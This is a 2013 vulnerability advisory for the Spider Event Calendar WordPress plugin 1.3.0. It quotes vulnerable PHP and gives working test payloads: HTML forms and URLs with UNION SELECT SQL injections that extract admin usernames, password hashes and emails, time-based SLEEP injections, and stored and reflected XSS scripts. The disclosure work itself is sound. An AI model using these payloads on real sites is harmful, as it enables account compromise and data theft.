[waraxe-2013-SA#104] - Multiple Vulnerabilities in Spider Event Calendar Wordpress Plugin

Author: Janek Vind "waraxe"
Date: 22. May 2013
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-104.html

Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Spider Event Calendar is a highly configurable plugin which allows you
to have multiple organized events in a calendar. This plugin is one of
the best WordPress Calendar available in WordPress Directory. If you
have problem with organizing your WordPress Calendar events and displaying
them in a calendar format, then Spider WordPress Calendar Plugin is the
best solution.

http://wordpress.org/extend/plugins/spider-event-calendar/
http://web-dorado.com/products/wordpress-calendar.html

Vulnerable is current version 1.3.0, older versions not tested.

###############################################################################
1. Insufficient access check for AJAX operations in "calendar.php"
###############################################################################

Reason:
1. weak access control implementation
Preconditions:
1. must be logged in as Wordpress user
Impact:
1. Any Wordpress user can edit Spider Calendar

Php script "calendar.php" line 197:
------------------------[ source code start ]----------------------------------
add_action('wp_ajax_spidercalendarinlineedit', 'spider_calendar_quick_edit');

add_action('wp_ajax_spidercalendarinlineupdate', 'spider_calendar_quick_update');
function spider_calendar_quick_update(){

global $wpdb;

if(isset($_POST['calendar_id']) && isset($_POST['calendar_title']) && isset($_POST['us_12_format_sp_calendar'])){
$wpdb->update(
...
function spider_calendar_quick_edit(){
global $wpdb;
if(isset($_POST['calendar_id'])){
$row=$wpdb->get_row(
------------------------[ source code end ]------------------------------------

We can see, that AJAX actions "wp_ajax_spidercalendarinlineedit" and
"wp_ajax_spidercalendarinlineupdate" are bound to functions "spider_calendar_quick_edit"
and "spider_calendar_quick_update". This two functions are meant to be used only
by admin, but there is nothing to stop low privileged users. Even users with
"Subscriber" access level can use those two AJAX functions.

Test:

<html><body><center>
<form action="http://localhost/wp351/wp-admin/admin-ajax.php?action=spidercalendarinlineedit" method="post">
<input type="hidden" name="calendar_id" value="1">
<input type="submit" value="Test">
</form>
</center></body></html>

Result: calendar editing form will be shown

Remark: This weakness in access control makes next two SQL injection vulnerabilities
much more critical - there is no need for admin privileges, even low level
Wordpress user is able to exploit these vulnerabilities.

###############################################################################
2. SQL Injection in "calendar.php" function "spider_calendar_quick_update"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied POST parameter "calendar_id"
Preconditions:
1. must be logged in as Wordpress user

Php script "calendar.php" line 199:
------------------------[ source code start ]----------------------------------
add_action('wp_ajax_spidercalendarinlineupdate', 'spider_calendar_quick_update');
function spider_calendar_quick_update(){

global $wpdb;

if(isset($_POST['calendar_id']) && isset($_POST['calendar_title']) &&
isset($_POST['us_12_format_sp_calendar'])){
...
$row=$wpdb->get_row("SELECT * FROM ".$wpdb->prefix."spidercalendar_calendar
WHERE id=".$_POST['calendar_id']);
------------------------[ source code end ]------------------------------------

As seen above, user-supplied POST parameter "calendar_id" is used in SQL query
without any sanitization, resulting in SQL injection vulnerability.

Test:

<html><body><center>
<form action="http://localhost/wp351/wp-admin/admin-ajax.php?action=spidercalendarinlineupdate" method="post">
<input type="hidden" name="calendar_title" value="1">
<input type="hidden" name="us_12_format_sp_calendar" value="2">
<input type="hidden" name="calendar_id" value="0 UNION SELECT 1,(SELECT CONCAT_WS(0x3a,user_login,user_pass,user_email)FROM wp_users WHERE ID=1),3,4,5,6,7">
<input type="submit" value="Test">
</form>
</center></body></html>

Result: in case of success it will be revealed sensitive information about
Wordpress user with ID 1: username, password hash and email.

###############################################################################
3. SQL Injection in "calendar.php" function "spider_calendar_quick_edit"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied POST parameter "calendar_id"
Preconditions:
1. must be logged in as Wordpress user

Php script "calendar.php" line 197:
------------------------[ source code start ]----------------------------------
add_action('wp_ajax_spidercalendarinlineedit', 'spider_calendar_quick_edit');
...
function spider_calendar_quick_edit(){
global $wpdb;
if(isset($_POST['calendar_id'])){
$row=$wpdb->get_row("SELECT * FROM ".$wpdb->prefix."spidercalendar_calendar
WHERE id=".$_POST['calendar_id']);
------------------------[ source code end ]------------------------------------

We can see, that user-supplied POST parameter "calendar_id" is used in SQL query
without any sanitization, resulting in SQL injection vulnerability.

Test:

<html><body><center>
<form action="http://localhost/wp351/wp-admin/admin-ajax.php?action=spidercalendarinlineedit" method="post">
<input type="hidden" name="calendar_id" value="0 UNION SELECT 1,(SELECT CONCAT_WS(0x3a,user_login,user_pass,user_email)FROM wp_users WHERE ID=1),3,4,5,6,7">
<input type="submit" value="Test">
</form>
</center></body></html>

Result: in case of success it will be revealed sensitive information about
Wordpress user with ID 1: username, password hash and email.

###############################################################################
4. SQL Injection in "calendar_functions.php" function "show_spider_calendar"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied POST parameter "order_by"
Preconditions:
1. must be logged in as user with "manage_options" privileges (admin by default)

Php script "calendar_functions.php" line 11:
------------------------[ source code start ]----------------------------------
function show_spider_calendar(){
...
$sort["sortid_by"]=$_POST['order_by'];
...
$order="ORDER BY ".$sort["sortid_by"]." ASC";
...
$query = "SELECT * FROM ".$wpdb->prefix."spidercalendar_calendar".$where."
". $order." "." LIMIT ".$limit.",20";
$rows = $wpdb->get_results($query);
------------------------[ source code end ]------------------------------------

We can see, that user-supplied POST parameter "order_by" is used in SQL query
without any sanitization, resulting in SQL injection vulnerability.

Example exploit:

<html><body><center>
<form action="http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar" method="post">
<input type="hidden" name="page_number" value="1">
<input type="hidden" name="asc_or_desc" value="1">
<input type="hidden" name="order_by" value="IF(1=1,1,(SELECT 1 UNION SELECT 2))">
<input type="submit" value="Test">
</form>
</center></body></html>

###############################################################################
5. SQL Injection in "calendar_functions.php" function "show_spider_event"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied GET parameter "calendar_id" and POST parameter "order_by"
Preconditions:
1. must be logged in as user with "manage_options" privileges (admin by default)

Php script "calendar.php" line 530:
------------------------[ source code start ]----------------------------------
if(isset($_GET["task"])){
$task=$_GET["task"];
...
if(isset($_GET["calendar_id"]))
{
$calendar_id=$_GET["calendar_id"];
...
switch($task){
...
case 'show_manage_event':
show_spider_event($calendar_id);
------------------------[ source code end ]------------------------------------

Php script "calendar_functions.php" line 278:
------------------------[ source code start ]----------------------------------
function show_spider_event($calendar_id){
...
$sort["sortid_by"]=$_POST['order_by'];
...
$order="ORDER BY ".$sort["sortid_by"]." ASC";
...
$query = "SELECT * FROM ".$wpdb->prefix."spidercalendar_event WHERE
calendar=".$calendar_id." ".$where." ". $order." "." LIMIT ".$limit.",20";
$rows = $wpdb->get_results($query);
------------------------[ source code end ]------------------------------------

We can see, that user-supplied GET parameter "calendar_id" and POST parameter
"order_by" are used in SQL query without any sanitization, resulting in SQL
injection vulnerability.

Test:

http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar&
task=show_manage_event&calendar_id=0+UNION+SELECT+1,2,3,4,(SELECT+
CONCAT_WS(0x3a,user_login,user_pass,user_email)FROM+wp_users+WHERE+ID=1),6,7,8
,9,10,11,12,13,14,15,16,17

Result: in case of success it will be revealed sensitive information about
Wordpress user with ID 1: username, password hash and email.

###############################################################################
6. SQL Injection in "calendar_functions.php" function "spider_calendar_published"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied GET parameter "id"
Preconditions:
1. must be logged in as user with "manage_options" privileges (admin by default)

Php script "calendar.php" line 530:
------------------------[ source code start ]----------------------------------
if(isset($_GET["task"])){
$task=$_GET["task"];
...
if(isset($_GET["id"]))
{
$id=$_GET["id"];
...
switch($task){
...
case 'published';
spider_calendar_published($id);
------------------------[ source code end ]------------------------------------

Php script "calendar_functions.php" line 225:
------------------------[ source code start ]----------------------------------
function spider_calendar_published($id)
{
global $wpdb;
$yes_or_no=$wpdb->get_var('SELECT published FROM
'.$wpdb->prefix.'spidercalendar_calendar WHERE `id`='.$id);
------------------------[ source code end ]------------------------------------

We can see, that user-supplied GET parameter "id" is used in SQL query without
any sanitization, resulting in SQL injection vulnerability.

Tests:

http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar&task=published
&id=IF(1=1,1,SLEEP(10))

Result: normal webpage

http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar&task=published
&id=IF(1=2,1,SLEEP(10))

Result: 10 second delay can be observed, SQL injection confirmed.

###############################################################################
7. SQL Injection in "calendar_functions.php" function "add_spider_event"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied GET parameter "calendar_id"
Preconditions:
1. must be logged in as user with "manage_options" privileges (admin by default)

Php script "calendar.php" line 530:
------------------------[ source code start ]----------------------------------
if(isset($_GET["task"])){
$task=$_GET["task"];
...
if(isset($_GET["calendar_id"]))
{
$calendar_id=$_GET["calendar_id"];
...
switch($task){
...
case 'add_event':
add_spider_event($calendar_id);
------------------------[ source code end ]------------------------------------

Php script "calendar_functions.php" line 357:
------------------------[ source code start ]----------------------------------
function add_spider_event($calendar_id){

global $wpdb;
$cal_name=$wpdb->get_var('SELECT title'.' FROM
'.$wpdb->prefix.'spidercalendar_calendar WHERE id='. $calendar_id);
html_add_spider_event($calendar_id,$cal_name);
------------------------[ source code end ]------------------------------------

We can see, that user-supplied GET parameter "calendar_id" is used in SQL query
without any sanitization, resulting in SQL injection vulnerability.

Test:

http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar&task=add_event
&calendar_id=0+UNION+SELECT+@@version

Result: MySQL version will be revealed, SQL Injection confirmed.

###############################################################################
8. SQL Injection in "calendar_functions.php" function "edit_spider_event"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied GET parameter "calendar_id"
Preconditions:
1. must be logged in as user with "manage_options" privileges (admin by default)

Php script "calendar.php" line 530:
------------------------[ source code start ]----------------------------------
if(isset($_GET["task"])){
$task=$_GET["task"];
...
if(isset($_GET["calendar_id"]))
{
$calendar_id=$_GET["calendar_id"];
...
switch($task){
...
case 'edit_event':
edit_spider_event($calendar_id,$id);
------------------------[ source code end ]------------------------------------

Php script "calendar_functions.php" line 369:
------------------------[ source code start ]----------------------------------
function edit_spider_event($calendar_id,$id){
...
$cal_name=$wpdb->get_var('SELECT title'.' FROM
'.$wpdb->prefix.'spidercalendar_calendar WHERE id='. $calendar_id);
html_edit_spider_event($row,$calendar_id,$id,$cal_name);
------------------------[ source code end ]------------------------------------

We can see, that user-supplied GET parameter "calendar_id" is used in SQL query
without any sanitization, resulting in SQL injection vulnerability.

Test:

http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar&task=edit_event
&id=1&calendar_id=0+UNION+SELECT+@@version

Result: MySQL version will be revealed, SQL Injection confirmed.

###############################################################################
9. SQL Injection in "calendar_functions.php" function "published_spider_event"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied GET parameter "id"
Preconditions:
1. must be logged in as user with "manage_options" privileges (admin by default)

Php script "calendar.php" line 530:
------------------------[ source code start ]----------------------------------
if(isset($_GET["task"])){
$task=$_GET["task"];
...
if(isset($_GET["id"]))
{
$id=$_GET["id"];
...
switch($task){
...
case 'published_event';
published_spider_event($id);
------------------------[ source code end ]------------------------------------

Php script "calendar_functions.php" line 575:
------------------------[ source code start ]----------------------------------
function published_spider_event($id)
{
global $wpdb;
$yes_or_no=$wpdb->get_var('SELECT published FROM
'.$wpdb->prefix.'spidercalendar_event WHERE `id`='.$id);
------------------------[ source code end ]------------------------------------

We can see, that user-supplied GET parameter "id" is used in SQL query without
any sanitization, resulting in SQL injection vulnerability.

Tests:

http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar&task=published_event
&id=IF(1=1,1,SLEEP(10))

Result: normal webpage

http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar&task=published_event
&id=IF(1=2,1,SLEEP(10))

Result: 10 second delay can be observed, SQL injection confirmed.

###############################################################################
10. Stored XSS in Spider Calendar title
###############################################################################

Reason:
1. insufficient sanitization of html output
Preconditions:
1. must be logged in as user with "manage_options" privileges (admin by default)

Test:

1. Add or edit Spider Calendar entry and set title for calendar as following:

test<script>alert(123);</script>

2. View calendar entry:

http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar&id=2

Result: javascript alert box pops up, confirming Stored XSS vulnerability.

###############################################################################
11. Stored XSS in Spider Calendar event title
###############################################################################

Reason:
1. insufficient sanitization of html output
Preconditions:
1. must be logged in as user with "manage_options" privileges (admin by default)

Test:

1. Add or edit Spider Calendar event entry and set title for event as following:

test<script>alert(123);</script>

2. View calendar event entry:

http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar&task=show_manage_event&calendar_id=1

Result: javascript alert box pops up, confirming Stored XSS vulnerability.

###############################################################################
12. Reflected XSS in "nav_function
av_html_func.php"
###############################################################################

Reason:
1. insufficient sanitization of html output
Attack vectors:
1. user-supplied POST parameters "page_number" and "serch_or_not"
Preconditions:
1. must be logged in as user with "manage_options" privileges (admin by default)

Test:

<html><body><center>
<form action="http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar" method="post">
<input type="hidden" name="page_number" value='"><script>alert(123);</script>'>
<input type="hidden" name="serch_or_not" value='"><script>alert(456);</script>'>
<input type="submit" value="Test">
</form>
</center></body></html>

Result: javascript alert boxes pop up, confirming Reflected XSS vulnerabilities.

###############################################################################
13. Reflected XSS in "functions_for_xml_and_ajax.php"
###############################################################################

Reason:
1. insufficient sanitization of html output
Attack vectors:
1. user-supplied GET parameters "theme_id", "calendar_id", "ev_ids" and "eventID"
Preconditions: none

Tests:

http://localhost/wp351/wp-admin/admin-ajax.php?action=spiderbigcalendarrr&theme_id="><script>alert(123);</script>
http://localhost/wp351/wp-admin/admin-ajax.php?action=spiderbigcalendarrr&calendar_id="><script>alert(123);</script>
http://localhost/wp351/wp-admin/admin-ajax.php?action=spiderbigcalendarrr&ev_ids="><script>alert(123);</script>
http://localhost/wp351/wp-admin/admin-ajax.php?action=spiderbigcalendarrr&eventID="><script>alert(123);</script>

Result: javascript alert boxes pop up, confirming Reflected XSS vulnerabilities.

###############################################################################
14. Full Path Disclosure in multiple scripts
###############################################################################

Preconditions:
1. PHP setting "display_errors = On"

Tests:

http://localhost/wp351/wp-content/plugins/spider-event-calendar/calendar.php

Fatal error: Call to undefined function add_action() in
C:apache_wwwwp351wp-contentpluginsspider-event-calendarcalendar.php on line 13

http://localhost/wp351/wp-content/plugins/spider-event-calendar/calendar_functions.html.php

Fatal error: Call to undefined function current_user_can() in
C:apache_wwwwp351wp-contentpluginsspider-event-calendarcalendar_functions.html.php on line 3

http://localhost/wp351/wp-content/plugins/spider-event-calendar/calendar_functions.php

Fatal error: Call to undefined function current_user_can() in
C:apache_wwwwp351wp-contentpluginsspider-event-calendarcalendar_functions.php on line 3

http://localhost/wp351/wp-content/plugins/spider-event-calendar/widget_spider_calendar.php

Fatal error: Class 'WP_Widget' not found in
C:apache_wwwwp351wp-contentpluginsspider-event-calendarwidget_spider_calendar.php on line 7

http://localhost/wp351/wp-admin/admin-ajax.php?action=spiderseemore&date[]

Warning: strtotime() expects parameter 1 to be string, array given in
C:apache_wwwwp351wp-contentpluginsspider-event-calendarfunctions_for_xml_and_ajax.php on line 1885

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------

Published on: 2013-05-22 (20955 reads)

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